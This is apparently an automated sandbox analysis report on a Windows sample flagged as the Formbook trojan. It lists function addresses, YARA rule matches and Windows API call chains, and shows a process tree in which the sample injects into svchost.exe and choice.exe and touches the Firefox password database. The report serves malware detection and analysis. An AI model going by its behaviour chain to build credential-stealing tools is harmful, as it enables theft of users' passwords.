Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF2446	2_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF6BD7	2_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFAB40	2_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0A9A6	2_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A268B8	2_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E8F0	2_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4A840	2_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABEFA0	2_2_03ABEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0	2_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32FC8	2_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A82F28	2_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60F30	2_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE2F30	2_2_03AE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4F40	2_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52E90	2_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFCE93	2_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEEDB	2_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEE26	2_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40E59	2_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A58DBF	2_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3ADE0	2_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4AD00	2_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADCD1F	2_2_03ADCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0CB5	2_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30CF2	2_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40C00	2_2_03A40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7516C	2_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B16B	2_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF70E9	2_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF0E0	2_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF0CC	2_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF7B0	2_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADD5B0	2_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7571	2_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF43F	2_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31460	2_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FB80	2_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB5BF0	2_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7DBF9	2_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFB76	2_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADDAAC	2_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A85AA0	2_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE1AA3	2_2_03AE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEDAC6	2_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB3A6C	2_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFA49	2_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7A46	2_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD5910	2_2_03AD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49950	2_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B950	2_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A438E0	2_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD800	2_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFFB1	2_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41F92	2_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFF09	2_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49EB0	2_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FDC0	2_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7D73	2_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43D40	2_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF1D5A	2_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFCF2	2_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB9C32	2_2_03AB9C32
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04334420	5_2_04334420
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04342446	5_2_04342446
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0433E4F6	5_2_0433E4F6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04290535	5_2_04290535
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04350591	5_2_04350591
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042AC6E0	5_2_042AC6E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04290770	5_2_04290770
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042B4750	5_2_042B4750
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0428C7C0	5_2_0428C7C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04322000	5_2_04322000
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04280100	5_2_04280100
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0432A118	5_2_0432A118
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04318158	5_2_04318158
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043501AA	5_2_043501AA
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043481CC	5_2_043481CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04330274	5_2_04330274
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043102C0	5_2_043102C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434A352	5_2_0434A352
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043503E6	5_2_043503E6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0429E3F0	5_2_0429E3F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04290C00	5_2_04290C00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04330CB5	5_2_04330CB5
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04280CF2	5_2_04280CF2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0429AD00	5_2_0429AD00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0432CD1F	5_2_0432CD1F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042A8DBF	5_2_042A8DBF
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0428ADE0	5_2_0428ADE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434EE26	5_2_0434EE26
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04290E59	5_2_04290E59
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434CE93	5_2_0434CE93
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042A2E90	5_2_042A2E90
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434EEDB	5_2_0434EEDB
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04332F30	5_2_04332F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042D2F28	5_2_042D2F28
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042B0F30	5_2_042B0F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04304F40	5_2_04304F40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0430EFA0	5_2_0430EFA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0429CFE0	5_2_0429CFE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04282FC8	5_2_04282FC8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0429A840	5_2_0429A840
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04292840	5_2_04292840
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042768B8	5_2_042768B8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042BE8F0	5_2_042BE8F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042A6962	5_2_042A6962
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042929A0	5_2_042929A0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0435A9A6	5_2_0435A9A6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0428EA80	5_2_0428EA80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434AB40	5_2_0434AB40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04346BD7	5_2_04346BD7
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434F43F	5_2_0434F43F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04281460	5_2_04281460
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04347571	5_2_04347571
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0432D5B0	5_2_0432D5B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043416CC	5_2_043416CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434F7B0	5_2_0434F7B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434F0E0	5_2_0434F0E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043470E9	5_2_043470E9
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042970C0	5_2_042970C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0433F0CC	5_2_0433F0CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C516C	5_2_042C516C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0427F172	5_2_0427F172
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0435B16B	5_2_0435B16B
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0429B1B0	5_2_0429B1B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042952A0	5_2_042952A0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_043312ED	5_2_043312ED
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042AB2C0	5_2_042AB2C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434132D	5_2_0434132D
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0427D34C	5_2_0427D34C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042D739A	5_2_042D739A
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04309C32	5_2_04309C32
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434FCF2	5_2_0434FCF2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04347D73	5_2_04347D73
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04293D40	5_2_04293D40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04341D5A	5_2_04341D5A
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042AFDC0	5_2_042AFDC0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04299EB0	5_2_04299EB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434FF09	5_2_0434FF09
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434FFB1	5_2_0434FFB1
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04291F92	5_2_04291F92
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042FD800	5_2_042FD800
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042938E0	5_2_042938E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04325910	5_2_04325910
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04299950	5_2_04299950
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042AB950	5_2_042AB950
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04303A6C	5_2_04303A6C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04347A46	5_2_04347A46
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434FA49	5_2_0434FA49
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042D5AA0	5_2_042D5AA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04331AA3	5_2_04331AA3
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0432DAAC	5_2_0432DAAC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0433DAC6	5_2_0433DAC6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0434FB76	5_2_0434FB76
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042AFB80	5_2_042AFB80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_04305BF0	5_2_04305BF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042CDBF9	5_2_042CDBF9
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_021516C0	5_2_021516C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0214C620	5_2_0214C620
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0216B430	5_2_0216B430
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0214C840	5_2_0214C840
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0214A867	5_2_0214A867
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0214A8B6	5_2_0214A8B6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0214A8C0	5_2_0214A8C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02152F5B	5_2_02152F5B
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02152F60	5_2_02152F60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02154D80	5_2_02154D80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0414E72F	5_2_0414E72F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0414D798	5_2_0414D798
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0414E276	5_2_0414E276
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0414E394	5_2_0414E394

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 101 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 58 times
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 042D7E54 appears 101 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 042FEA12 appears 86 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 0430F290 appears 105 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 0427B970 appears 278 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 042C5130 appears 58 times

Source: 2rI5YEg7uo.exe, 00000000.00000003.1458854767.00000000047ED000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 2rI5YEg7uo.exe
Source: 2rI5YEg7uo.exe, 00000000.00000003.1457888198.0000000004643000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 2rI5YEg7uo.exe

Source: 2rI5YEg7uo.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@14/7

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

File created: C:\Users\user\AppData\Local\Temp\Nasalis

Source: 2rI5YEg7uo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: choice.exe, 00000005.00000002.3289709426.0000000002713000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1924238917.00000000026E5000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.00000000026EF000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.00000000026E5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2rI5YEg7uo.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

File read: C:\Users\user\Desktop\2rI5YEg7uo.exe

Source: unknown	Process created: C:\Users\user\Desktop\2rI5YEg7uo.exe "C:\Users\user\Desktop\2rI5YEg7uo.exe"
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2rI5YEg7uo.exe"
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2rI5YEg7uo.exe"	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"	Jump to behavior
